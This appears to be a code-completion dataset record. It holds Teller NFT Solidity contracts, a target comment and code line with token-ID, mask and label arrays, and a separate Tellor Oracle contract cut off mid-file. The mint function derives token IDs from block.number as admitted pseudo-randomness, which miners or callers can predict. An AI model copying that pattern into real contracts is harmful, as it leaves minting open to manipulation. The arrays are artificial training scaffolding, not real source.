owned_ the array of tokenIDs owned by the address */ function getOwnedTokens(address owner) external view returns (uint256[] memory owned_) { EnumerableSet.UintSet storage set = _ownedTokenIds[owner]; owned_ = new uint256[](set.length()); for (uint256 i; i < owned_.length; i++) { owned_[i] = set.at(i); } } /** * @notice Creates new Tiers to be minted with the given information. * @dev It auto increments the index of the next tier to add. * @param newTiers Information about the new tiers to add. * @param tierHashes Metadata hashes belonging to the tiers. * * Requirements: * - Caller must have the {ADMIN} role */ function createTiers( Tier[] calldata newTiers, string[][] calldata tierHashes ) external onlyRole(ADMIN) { require( newTiers.length == tierHashes.length, "Teller: array length mismatch" ); for (uint256 i; i < newTiers.length; i++) { _createTier(newTiers[i], tierHashes[i]); } } /** * @notice creates the tier along with the tier hashes, then saves the tokenId * information in id -> hash and hash -> id mappings * @param newTier the Tier struct containing all the tier information * @param tierHashes the tier hashes to add to the tier */ function _createTier(Tier calldata newTier, string[] calldata tierHashes) internal { // Increment tier counter to use tierCount++; Tier storage tier = tiers[tierCount]; tier.baseLoanSize = newTier.baseLoanSize; tier.contributionAsset = newTier.contributionAsset; tier.contributionSize = newTier.contributionSize; tier.contributionMultiplier = newTier.contributionMultiplier; // Store how many tokens are on the tier tierTokenCount[tierCount] = tierHashes.length; // Set the token URI hash for (uint128 i; i < tierHashes.length; i++) { uint256 tokenId = _mergeTokenId(tierCount, i); _idToUriHash[tokenId] = tierHashes[i]; _uriHashToId[tierHashes[i]] = tokenId; } } /** * @dev See {_setURI}. * * Requirements: * * - `newURI` must be prepended with a forward slash (/) */ function setURI(string memory newURI) external onlyRole(ADMIN) { _setURI(newURI); } /** * @notice Sets the contract level metadata URI hash. * @param contractURIHash The hash to the initial contract level metadata. */ function setContractURIHash(string memory contractURIHash) public onlyRole(ADMIN) { _contractURIHash = contractURIHash; } /** * @notice Initializes the TellerNFT. * @param data Bytes to init the token with. */ function initialize(bytes calldata data) public virtual initializer { // Set the initial URI __ERC1155_init("https://gateway.pinata.cloud/ipfs/"); __AccessControl_init(); // Set admin role for admins _setRoleAdmin(ADMIN, ADMIN); // Set the initial admin _setupRole(ADMIN, _msgSender()); // Set initial contract URI hash setContractURIHash("QmWAfQFFwptzRUCdF2cBFJhcB2gfHJMd7TQt64dZUysk3R"); __TellerNFT_V2_init_unchained(data); } function __TellerNFT_V2_init_unchained(bytes calldata data) internal virtual initializer {} /* Internal Functions */ /** * @notice it removes a token ID from the ownedTokenIds mapping if the balance of * the user's tokenId is 0 * @param account the address to add the token id to * @param id the token ID */ function _removeOwnedTokenCheck(address account, uint256 id) private { if (balanceOf(account, id) == 0) { _ownedTokenIds[account].remove(id); } } /** * @notice it adds a token id to the ownedTokenIds mapping * @param account the address to the add the token ID to * @param id the token ID */ function _addOwnedToken(address account, uint256 id) private { _ownedTokenIds[account].add(id); } /** * @dev Runs super function and then increases total supply. * * See {ERC1155Upgradeable._mint}. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal override { super._mint(account, id, amount, data); // add the id to the owned token ids of the user _addOwnedToken(account, id); totalSupply += amount; } /** * @dev Runs super function and then increases total supply. * * See {ERC1155Upgradeable._mintBatch}. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal override { super._mintBatch(to, ids, amounts, data); for (uint256 i; i < amounts.length; i++) { totalSupply += amounts[i]; _addOwnedToken(to, ids[i]); } } /** * @dev Runs super function and then decreases total supply. * * See {ERC1155Upgradeable._burn}. */ function _burn( address account, uint256 id, uint256 amount ) internal override { super._burn(account, id, amount); _removeOwnedTokenCheck(account, id); totalSupply -= amount; } /** * @dev Runs super function and then decreases total supply. * * See {ERC1155Upgradeable._burnBatch}. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal override { super._burnBatch(account, ids, amounts); for (uint256 i; i < amounts.length; i++) { totalSupply -= amounts[i]; _removeOwnedTokenCheck(account, ids[i]); } } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * See {ERC1155Upgradeable._safeTransferFrom}. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal override { super._safeTransferFrom(from, to, id, amount, data); _removeOwnedTokenCheck(from, id); _addOwnedToken(to, id); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * See {ERC1155Upgradeable._safeBatchTransferFrom} */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal override { super._safeBatchTransferFrom(from, to, ids, amounts, data); for (uint256 i; i < ids.length; i++) { _removeOwnedTokenCheck(from, ids[i]); _addOwnedToken(to, ids[i]); } } /** * @dev Checks if a token ID exists. To exists the ID must have a URI hash associated. * @param tokenId ID of the token to check. */ function _exists(uint256 tokenId) internal view returns (bool) { return bytes(_idToUriHash[tokenId]).length > 0; } /** * @dev Creates a V2 token ID from a tier ID and tier token ID. * @param tierId Index of the tier to use. * @param tierTokenId ID of the token within the given tier. * @return tokenId_ V2 NFT token ID. */ function _mergeTokenId(uint128 tierId, uint128 tierTokenId) internal pure returns (uint256 tokenId_) { tokenId_ = tierId * ID_PADDING; tokenId_ += tierTokenId; } /** * @dev Creates a V2 token ID from a tier ID and tier token ID. * @param tokenId V2 NFT token ID. * @return tierId_ Index of the token tier. * @return tierTokenId_ ID of the token within the tier. */ function _splitTokenId(uint256 tokenId) internal pure returns (uint128 tierId_, uint128 tierTokenId_) { tierId_ = SafeCast.toUint128(tokenId / ID_PADDING); tierTokenId_ = SafeCast.toUint128(tokenId % ID_PADDING); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; bytes32 constant ADMIN = keccak256("ADMIN"); bytes32 constant MINTER = keccak256("MINTER"); struct MerkleRoot { bytes32 merkleRoot; uint256 tierIndex; } struct ClaimNFTRequest { uint256 merkleIndex; uint256 nodeIndex; uint256 amount; bytes32[] merkleProof; } library DistributorEvents { event Claimed(address indexed account); event MerkleAdded(uint256 index); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Contracts import "../store.sol"; import "../../../contexts/access-control/modifiers/authorized.sol"; // Utils import { ADMIN } from "../data.sol"; // Interfaces import "../../mainnet/MainnetTellerNFT.sol"; contract ent_upgradeNFTV2_NFTDistributor_v1 is sto_NFTDistributor, mod_authorized_AccessControl_v1 { /** * @notice Upgrades the reference to the NFT to the V2 deployment address. * @param _nft The address of the TellerNFT. */ function upgradeNFTV2(address _nft) external authorized(ADMIN, msg.sender) { require(distributorStore().version == 0, "Teller: invalid upgrade version"); distributorStore().version = 1; distributorStore().nft = MainnetTellerNFT(_nft); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Interfaces import "../mainnet/MainnetTellerNFT.sol"; // Utils import { MerkleRoot } from "./data.sol"; abstract contract sto_NFTDistributor { struct DistributorStorage { MainnetTellerNFT nft; MerkleRoot[] merkleRoots; mapping(uint256 => mapping(uint256 => uint256)) claimedBitMap; address _dictionary; // DEPRECATED uint256 version; } bytes32 constant POSITION = keccak256("teller_nft.distributor"); function distributorStore() internal pure returns (DistributorStorage storage s) { bytes32 P = POSITION; assembly { s.slot := P } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Contracts import { TellerNFT_V2 } from "../TellerNFT_V2.sol"; import { TellerNFTDictionary } from "../TellerNFTDictionary.sol"; import { IERC721ReceiverUpgradeable } from "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; contract MainnetTellerNFT is IERC721ReceiverUpgradeable, TellerNFT_V2 { /* Constants */ address public constant V1 = 0x2ceB85a2402C94305526ab108e7597a102D6C175; TellerNFTDictionary public constant DICT = TellerNFTDictionary(0x72733102AB139FB0367cc29D492c955A7c736079); address public constant diamond = 0xc14D994fe7C5858c93936cc3bD42bb9467d6fB2C; bytes32 public constant MINTER = keccak256("MINTER"); /* Initializers */ /** * @notice Initializes the TellerNFT. * @param data The addresses that should allowed to mint tokens. */ function __TellerNFT_V2_init_unchained(bytes calldata data) internal override initializer { address[] memory minters = abi.decode(data, (address[])); // Set admin role for minters _setRoleAdmin(MINTER, ADMIN); // Set the initial minters for (uint256 i; i < minters.length; i++) { _setupRole(MINTER, minters[i]); } } /* External Functions */ /** * @notice It mints a new token for a Tier index. * @param tierIndex Tier to mint token on. * @param owner The owner of the new token. * * Requirements: * - Caller must be an authorized minter */ function mint( address owner, uint128 tierIndex, uint128 amount ) external onlyRole(MINTER) { // Get the token ID to mint for the user // On a fresh mint, the exact token ID minted is determined on tx execution // with sudo randomness using the block number uint256 tokenId = _mergeTokenId( tierIndex, uint128(block.number % tierTokenCount[tierIndex]) ); _mint(owner, tokenId, uint256(amount), ""); } /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external override returns (bytes4) { // Check which 721 token we received // We only care about V1 so we can migrate it if (_msgSender() == V1) { uint256 newTokenId; // if the from address is the diamond address, we trust that we // can decode the data into the newly converted token id if (from == diamond) { newTokenId = abi.decode(data, (uint256)); } else { newTokenId = convertV1TokenId(tokenId); } // Convert V1 token ID and mint 1 new V2 token to the diamond _mint(from, newTokenId, 1, ""); } return IERC721ReceiverUpgradeable.onERC721Received.selector; } /* Public Functions */ /** * @notice it performs a reverse look up on by finding our ID using the * tokenURI hash using the NFT dictionary. Required that the token id exists * @param _tokenId the tokenId to look up */ function convertV1TokenId(uint256 _tokenId) public view returns (uint256 tokenId_) { tokenId_ = _uriHashToId[DICT.tokenURIHash(_tokenId)]; require(_exists(tokenId_), "TellerNFT: invalid token ID"); } }
It holds how many tokens types exists in a tier.
mapping(uint128 => uint256) public tierTokenCount;
6,317,294
[ 1, 7193, 14798, 3661, 4906, 2430, 1953, 1704, 316, 279, 17742, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 11890, 10392, 516, 2254, 5034, 13, 1071, 17742, 1345, 1380, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "./interfaces/IController.sol"; import "./TellorVars.sol"; /** @author Tellor Inc. @title Oracle @dev This is the Oracle contract which defines the functionality for the Tellor * oracle, where reporters submit values on chain and users can retrieve values. */ contract Oracle is TellorVars { // Storage uint256 public reportingLock = 12 hours; // amount of time before a reporter is able to submit a value again uint256 public timeBasedReward = 5e17; // time based reward for a reporter for successfully submitting a value uint256 public timeOfLastNewValue = block.timestamp; // time of the last new submitted value, originally set to the block timestamp uint256 public tipsInContract; // amount of tips within the contract mapping(bytes32 => Report) private reports; // mapping of query IDs to a report mapping(bytes32 => uint256) public tips; // mapping of query IDs to the amount of TRB they are tipped mapping(address => uint256) private reporterLastTimestamp; // mapping of reporter addresses to the timestamp of their last reported value mapping(address => uint256) private reportsSubmittedByAddress; // mapping of reporter addresses to the number of reports they've submitted mapping(address => uint256) private tipsByUser; // mapping of a user to the amount of tips they've paid // Structs struct Report { uint256[] timestamps; // array of all newValueTimestamps reported mapping(uint256 => uint256) timestampIndex; // mapping of timestamps to respective indices mapping(uint256 => uint256) timestampToBlockNum; // mapping of timestamp to block number mapping(uint256 => bytes) valueByTimestamp; // mapping of timestamps to values mapping(uint256 => address) reporterByTimestamp; // mapping of timestamps to reporters } // Events event ReportingLockChanged(uint256 _newReportingLock); event NewReport( bytes32 _queryId, uint256 _time, bytes _value, uint256 _reward, uint256 _nonce, bytes _queryData, address _reporter ); event TimeBasedRewardsChanged(uint256 _newTimeBasedReward); event TipAdded( address indexed _user, bytes32 indexed _queryId, uint256 _tip, uint256 _totalTip, bytes _queryData ); /** * @dev Changes reporting lock for reporters. * Note: this function is only callable by the Governance contract. * @param _newReportingLock is the new reporting lock. */ function changeReportingLock(uint256 _newReportingLock) external { require( msg.sender == IController(TELLOR_ADDRESS).addresses(_GOVERNANCE_CONTRACT), "Only governance contract can change reporting lock." ); require(_newReportingLock < 8640000, "Invalid _newReportingLock value"); reportingLock = _newReportingLock; emit ReportingLockChanged(_newReportingLock); } /** * @dev Changes time based reward for reporters. * Note: this function is only callable by the Governance contract. * @param _newTimeBasedReward is the new time based reward. */ function changeTimeBasedReward(uint256 _newTimeBasedReward) external { require( msg.sender == IController(TELLOR_ADDRESS).addresses(_GOVERNANCE_CONTRACT), "Only governance contract can change time based reward." ); timeBasedReward = _newTimeBasedReward; emit TimeBasedRewardsChanged(_newTimeBasedReward); } /** * @dev Removes a value from the oracle. * Note: this function is only callable by the Governance contract. * @param _queryId is ID of the specific data feed * @param _timestamp is the timestamp of the data value to remove */ function removeValue(bytes32 _queryId, uint256 _timestamp) external { require( msg.sender == IController(TELLOR_ADDRESS).addresses(_GOVERNANCE_CONTRACT) || msg.sender == IController(TELLOR_ADDRESS).addresses(_ORACLE_CONTRACT), "caller must be the governance contract or the oracle contract" ); Report storage rep = reports[_queryId]; uint256 _index = rep.timestampIndex[_timestamp]; // Shift all timestamps back to reflect deletion of value for (uint256 i = _index; i < rep.timestamps.length - 1; i++) { rep.timestamps[i] = rep.timestamps[i + 1]; rep.timestampIndex[rep.timestamps[i]] -= 1; } // Delete and reset timestamp and value delete rep.timestamps[rep.timestamps.length - 1]; rep.timestamps.pop(); rep.valueByTimestamp[_timestamp] = ""; rep.timestampIndex[_timestamp] = 0; } /** * @dev Allows a reporter to submit a value to the oracle * @param _queryId is ID of the specific data feed. Equals keccak256(_queryData) for non-legacy IDs * @param _value is the value the user submits to the oracle * @param _nonce is the current value count for the query id * @param _queryData is the data used to fulfill the data query */ function submitValue( bytes32 _queryId, bytes calldata _value, uint256 _nonce, bytes memory _queryData ) external { Report storage rep = reports[_queryId]; require( _nonce == rep.timestamps.length, "nonce must match timestamp index" ); // Require reporter to abide by given reporting lock require( block.timestamp - reporterLastTimestamp[msg.sender] > reportingLock, "still in reporter time lock, please wait!" ); require( address(this) == IController(TELLOR_ADDRESS).addresses(_ORACLE_CONTRACT), "can only submit to current oracle contract" ); require( _queryId == keccak256(_queryData) || uint256(_queryId) <= 100, "id must be hash of bytes data" ); reporterLastTimestamp[msg.sender] = block.timestamp; IController _tellor = IController(TELLOR_ADDRESS); // Checks that reporter is not already staking TRB (uint256 _status, ) = _tellor.getStakerInfo(msg.sender); require(_status == 1, "Reporter status is not staker"); // Check is in case the stake amount increases require( _tellor.balanceOf(msg.sender) >= _tellor.uints(_STAKE_AMOUNT), "balance must be greater than stake amount" ); // Checks for no double reporting of timestamps require( rep.reporterByTimestamp[block.timestamp] == address(0), "timestamp already reported for" ); // Update number of timestamps, value for given timestamp, and reporter for timestamp rep.timestampIndex[block.timestamp] = rep.timestamps.length; rep.timestamps.push(block.timestamp); rep.timestampToBlockNum[block.timestamp] = block.number; rep.valueByTimestamp[block.timestamp] = _value; rep.reporterByTimestamp[block.timestamp] = msg.sender; // Send tips + timeBasedReward to reporter of value, and reset tips for ID (uint256 _tip, uint256 _reward) = getCurrentReward(_queryId); tipsInContract -= _tip; if (_reward + _tip > 0) { _tellor.transfer(msg.sender, _reward + _tip); } tips[_queryId] = 0; // Update last oracle value and number of values submitted by a reporter timeOfLastNewValue = block.timestamp; reportsSubmittedByAddress[msg.sender]++; emit NewReport( _queryId, block.timestamp, _value, _tip + _reward, _nonce, _queryData, msg.sender ); } /** * @dev Adds tips to incentivize reporters to submit values for specific data IDs. * @param _queryId is ID of the specific data feed * @param _tip is the amount to tip the given data ID * @param _queryData is required for IDs greater than 100, informs reporters how to fulfill request. See github.com/tellor-io/dataSpecs */ function tipQuery( bytes32 _queryId, uint256 _tip, bytes memory _queryData ) external { // Require tip to be greater than 1 and be paid require(_tip > 1, "Tip should be greater than 1"); require( IController(TELLOR_ADDRESS).approveAndTransferFrom( msg.sender, address(this), _tip ), "tip must be paid" ); require( _queryId == keccak256(_queryData) || uint256(_queryId) <= 100 || msg.sender == IController(TELLOR_ADDRESS).addresses(_GOVERNANCE_CONTRACT), "id must be hash of bytes data" ); // Burn half the tip _tip = _tip / 2; IController(TELLOR_ADDRESS).burn(_tip); // Update total tip amount for user, data ID, and in total contract tips[_queryId] += _tip; tipsByUser[msg.sender] += _tip; tipsInContract += _tip; emit TipAdded(msg.sender, _queryId, _tip, tips[_queryId], _queryData); } //Getters /** * @dev Returns the block number at a given timestamp * @param _queryId is ID of the specific data feed * @param _timestamp is the timestamp to find the corresponding block number for * @return uint256 block number of the timestamp for the given data ID */ function getBlockNumberByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (uint256) { return reports[_queryId].timestampToBlockNum[_timestamp]; } /** * @dev Calculates the current reward for a reporter given tips * and time based reward * @param _queryId is ID of the specific data feed * @return uint256 tips on given queryId * @return uint256 time based reward */ function getCurrentReward(bytes32 _queryId) public view returns (uint256, uint256) { IController _tellor = IController(TELLOR_ADDRESS); uint256 _timeDiff = block.timestamp - timeOfLastNewValue; uint256 _reward = (_timeDiff * timeBasedReward) / 300; //.5 TRB per 5 minutes (should we make this upgradeable) if (_tellor.balanceOf(address(this)) < _reward + tipsInContract) { _reward = _tellor.balanceOf(address(this)) - tipsInContract; } return (tips[_queryId], _reward); } /** * @dev Returns the current value of a data feed given a specific ID * @param _queryId is the ID of the specific data feed * @return bytes memory of the current value of data */ function getCurrentValue(bytes32 _queryId) external view returns (bytes memory) { return reports[_queryId].valueByTimestamp[ reports[_queryId].timestamps[ reports[_queryId].timestamps.length - 1 ] ]; } /** * @dev Returns the reporting lock time, the amount of time a reporter must wait to submit again * @return uint256 reporting lock time */ function getReportingLock() external view returns (uint256) { return reportingLock; } /** * @dev Returns the address of the reporter who submitted a value for a data ID at a specific time * @param _queryId is ID of the specific data feed * @param _timestamp is the timestamp to find a corresponding reporter for * @return address of the reporter who reported the value for the data ID at the given timestamp */ function getReporterByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (address) { return reports[_queryId].reporterByTimestamp[_timestamp]; } /** * @dev Returns the timestamp of the reporter's last submission * @param _reporter is address of the reporter * @return uint256 timestamp of the reporter's last submission */ function getReporterLastTimestamp(address _reporter) external view returns (uint256) { return reporterLastTimestamp[_reporter]; } /** * @dev Returns the number of values submitted by a specific reporter address * @param _reporter is the address of a reporter * @return uint256 of the number of values submitted by the given reporter */ function getReportsSubmittedByAddress(address _reporter) external view returns (uint256) { return reportsSubmittedByAddress[_reporter]; } /** * @dev Returns the timestamp of a reported value given a data ID and timestamp index * @param _queryId is ID of the specific data feed * @param _index is the index of the timestamp * @return uint256 timestamp of the given queryId and index */ function getReportTimestampByIndex(bytes32 _queryId, uint256 _index) external view returns (uint256) { return reports[_queryId].timestamps[_index]; } /** * @dev Returns the time based reward for submitting a value * @return uint256 of time based reward */ function getTimeBasedReward() external view returns (uint256) { return timeBasedReward; } /** * @dev Returns the number of timestamps/reports for a specific data ID * @param _queryId is ID of the specific data feed * @return uint256 of the number of timestamps/reports for the given data ID */ function getTimestampCountById(bytes32 _queryId) external view returns (uint256) { return reports[_queryId].timestamps.length; } /** * @dev Returns the timestamp for the last value of any ID from the oracle * @return uint256 of timestamp of the last oracle value */ function getTimeOfLastNewValue() external view returns (uint256) { return timeOfLastNewValue; } /** * @dev Returns the index of a reporter timestamp in the timestamp array for a specific data ID * @param _queryId is ID of the specific data feed * @param _timestamp is the timestamp to find in the timestamps array * @return uint256 of the index of the reporter timestamp in the array for specific ID */ function getTimestampIndexByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (uint256) { return reports[_queryId].timestampIndex[_timestamp]; } /** * @dev Returns the amount of tips available for a specific query ID * @param _queryId is ID of the specific data feed * @return uint256 of the amount of tips added for the specific ID */ function getTipsById(bytes32 _queryId) external view returns (uint256) { return tips[_queryId]; } /** * @dev Returns the amount of tips made by a user * @param _user is the address of the user * @return uint256 of the amount of tips made by the user */ function getTipsByUser(address _user) external view returns (uint256) { return tipsByUser[_user]; } /** * @dev Returns the value of a data feed given a specific ID and timestamp * @param _queryId is the ID of the specific data feed * @param _timestamp is the timestamp to look for data * @return bytes memory of the value of data at the associated timestamp */ function getValueByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (bytes memory) { return reports[_queryId].valueByTimestamp[_timestamp]; } /** * @dev Used during the upgrade process to verify valid Tellor Contracts */ function verify() external pure returns (uint256) { return 9999; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface IController{ function addresses(bytes32) external returns(address); function uints(bytes32) external returns(uint256); function burn(uint256 _amount) external; function changeDeity(address _newDeity) external; function changeOwner(address _newOwner) external; function changeTellorContract(address _tContract) external; function changeControllerContract(address _newController) external; function changeGovernanceContract(address _newGovernance) external; function changeOracleContract(address _newOracle) external; function changeTreasuryContract(address _newTreasury) external; function changeUint(bytes32 _target, uint256 _amount) external; function migrate() external; function mint(address _reciever, uint256 _amount) external; function init() external; function getDisputeIdByDisputeHash(bytes32 _hash) external view returns (uint256); function getLastNewValueById(uint256 _requestId) external view returns (uint256, bool); function retrieveData(uint256 _requestId, uint256 _timestamp) external view returns (uint256); function getNewValueCountbyRequestId(uint256 _requestId) external view returns (uint256); function getAddressVars(bytes32 _data) external view returns (address); function getUintVar(bytes32 _data) external view returns (uint256); function totalSupply() external view returns (uint256); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function allowance(address _user, address _spender) external view returns (uint256); function allowedToTrade(address _user, uint256 _amount) external view returns (bool); function approve(address _spender, uint256 _amount) external returns (bool); function approveAndTransferFrom(address _from, address _to, uint256 _amount) external returns(bool); function balanceOf(address _user) external view returns (uint256); function balanceOfAt(address _user, uint256 _blockNumber)external view returns (uint256); function transfer(address _to, uint256 _amount)external returns (bool success); function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success) ; function depositStake() external; function requestStakingWithdraw() external; function withdrawStake() external; function changeStakingStatus(address _reporter, uint _status) external; function slashReporter(address _reporter, address _disputer) external; function getStakerInfo(address _staker) external view returns (uint256, uint256); function getTimestampbyRequestIDandIndex(uint256 _requestID, uint256 _index) external view returns (uint256); function getNewCurrentVariables()external view returns (bytes32 _c,uint256[5] memory _r,uint256 _d,uint256 _t); //in order to call fallback function function beginDispute(uint256 _requestId, uint256 _timestamp,uint256 _minerIndex) external; function unlockDisputeFee(uint256 _disputeId) external; function vote(uint256 _disputeId, bool _supportsDispute) external; function tallyVotes(uint256 _disputeId) external; //test functions function tipQuery(uint,uint,bytes memory) external; function getNewVariablesOnDeck() external view returns (uint256[5] memory idsOnDeck, uint256[5] memory tipsOnDeck); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "./tellor3/TellorVariables.sol"; /** @author Tellor Inc. @title TellorVariables @dev Helper contract to store hashes of variables. * For each of the bytes32 constants, the values are equal to * keccak256([VARIABLE NAME]) */ contract TellorVars is TellorVariables { // Storage address constant TELLOR_ADDRESS = 0x88dF592F8eb5D7Bd38bFeF7dEb0fBc02cf3778a0; // Address of main Tellor Contract // Hashes for each pertinent contract bytes32 constant _GOVERNANCE_CONTRACT = 0xefa19baa864049f50491093580c5433e97e8d5e41f8db1a61108b4fa44cacd93; bytes32 constant _ORACLE_CONTRACT = 0xfa522e460446113e8fd353d7fa015625a68bc0369712213a42e006346440891e; bytes32 constant _TREASURY_CONTRACT = 0x1436a1a60dca0ebb2be98547e57992a0fa082eb479e7576303cbd384e934f1fa; bytes32 constant _SWITCH_TIME = 0x6c0e91a96227393eb6e42b88e9a99f7c5ebd588098b549c949baf27ac9509d8f; bytes32 constant _MINIMUM_DISPUTE_FEE = 0x7335d16d7e7f6cb9f532376441907fe76aa2ea267285c82892601f4755ed15f0; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.4; /** @author Tellor Inc. @title TellorVariables @dev Helper contract to store hashes of variables */ contract TellorVariables { bytes32 constant _BLOCK_NUMBER = 0x4b4cefd5ced7569ef0d091282b4bca9c52a034c56471a6061afd1bf307a2de7c; //keccak256("_BLOCK_NUMBER"); bytes32 constant _CURRENT_CHALLENGE = 0xd54702836c9d21d0727ffacc3e39f57c92b5ae0f50177e593bfb5ec66e3de280; //keccak256("_CURRENT_CHALLENGE"); bytes32 constant _CURRENT_REQUESTID = 0xf5126bb0ac211fbeeac2c0e89d4c02ac8cadb2da1cfb27b53c6c1f4587b48020; //keccak256("_CURRENT_REQUESTID"); bytes32 constant _CURRENT_REWARD = 0xd415862fd27fb74541e0f6f725b0c0d5b5fa1f22367d9b78ec6f61d97d05d5f8; //keccak256("_CURRENT_REWARD"); bytes32 constant _CURRENT_TOTAL_TIPS = 0x09659d32f99e50ac728058418d38174fe83a137c455ff1847e6fb8e15f78f77a; //keccak256("_CURRENT_TOTAL_TIPS"); bytes32 constant _DEITY = 0x5fc094d10c65bc33cc842217b2eccca0191ff24148319da094e540a559898961; //keccak256("_DEITY"); bytes32 constant _DIFFICULTY = 0xf758978fc1647996a3d9992f611883adc442931dc49488312360acc90601759b; //keccak256("_DIFFICULTY"); bytes32 constant _DISPUTE_COUNT = 0x310199159a20c50879ffb440b45802138b5b162ec9426720e9dd3ee8bbcdb9d7; //keccak256("_DISPUTE_COUNT"); bytes32 constant _DISPUTE_FEE = 0x675d2171f68d6f5545d54fb9b1fb61a0e6897e6188ca1cd664e7c9530d91ecfc; //keccak256("_DISPUTE_FEE"); bytes32 constant _DISPUTE_ROUNDS = 0x6ab2b18aafe78fd59c6a4092015bddd9fcacb8170f72b299074f74d76a91a923; //keccak256("_DISPUTE_ROUNDS"); bytes32 constant _EXTENSION = 0x2b2a1c876f73e67ebc4f1b08d10d54d62d62216382e0f4fd16c29155818207a4; //keccak256("_EXTENSION"); bytes32 constant _FEE = 0x1da95f11543c9b03927178e07951795dfc95c7501a9d1cf00e13414ca33bc409; //keccak256("_FEE"); bytes32 constant _FORK_EXECUTED = 0xda571dfc0b95cdc4a3835f5982cfdf36f73258bee7cb8eb797b4af8b17329875; //keccak256("_FORK_EXECUTED"); bytes32 constant _LOCK = 0xd051321aa26ce60d202f153d0c0e67687e975532ab88ce92d84f18e39895d907; bytes32 constant _MIGRATOR = 0xc6b005d45c4c789dfe9e2895b51df4336782c5ff6bd59a5c5c9513955aa06307; //keccak256("_MIGRATOR"); bytes32 constant _MIN_EXECUTION_DATE = 0x46f7d53798d31923f6952572c6a19ad2d1a8238d26649c2f3493a6d69e425d28; //keccak256("_MIN_EXECUTION_DATE"); bytes32 constant _MINER_SLOT = 0x6de96ee4d33a0617f40a846309c8759048857f51b9d59a12d3c3786d4778883d; //keccak256("_MINER_SLOT"); bytes32 